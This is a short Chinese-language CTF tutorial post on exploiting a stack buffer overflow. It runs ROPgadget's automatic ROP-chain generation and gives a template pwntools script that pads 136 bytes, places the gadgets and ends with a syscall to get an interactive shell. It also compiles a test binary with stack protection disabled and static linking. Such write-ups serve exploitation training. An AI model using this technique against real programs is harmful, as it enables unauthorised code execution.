花式栈溢出—一键获取flag
参考链接:https://www.itdaan.com/blog/2017/05/19/daeb483344efc869d1ec1c5ff3b192bd.html
1. 使用前提:
- 溢出的大小足够大,写入地址足够大
- 没有EIP
- 能搜索到ROP链(最重要的要求)
2. 使用方式:
(1)搜索rop链
ROPgadget --binary ./pwn --ropchain
(2)直接写脚本
#!/usr/bin/env python
from pwn import *
p = process('./exp4')
#p = remote('127.0.0.1',10001)
payload = 'A' * 136
payload += p64(0x00000000004017a7) # pop rsi ; ret
......将之前搜索到的rop链的地址复制上来复制上来
......
payload += p64(0x000000000045b0d5) # syscall ; ret
p.send(payload)
p.interactive()
3. 搜索rop链
一般来搜索ROP链时都是出现的这样的情况:
一ROPgadget自动生成ROP链所需要的gadget:mov qword ptr [r64], r64找不到。
这是因为编译时 没有将所有需要的函数库集成进编译出来的程序上面,静态链接所有需要的库文件
只需要在编译到时候加上 “-static” 就可以出现rop链了
gcc -fno-stack-protector -static -o exp exp.c
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com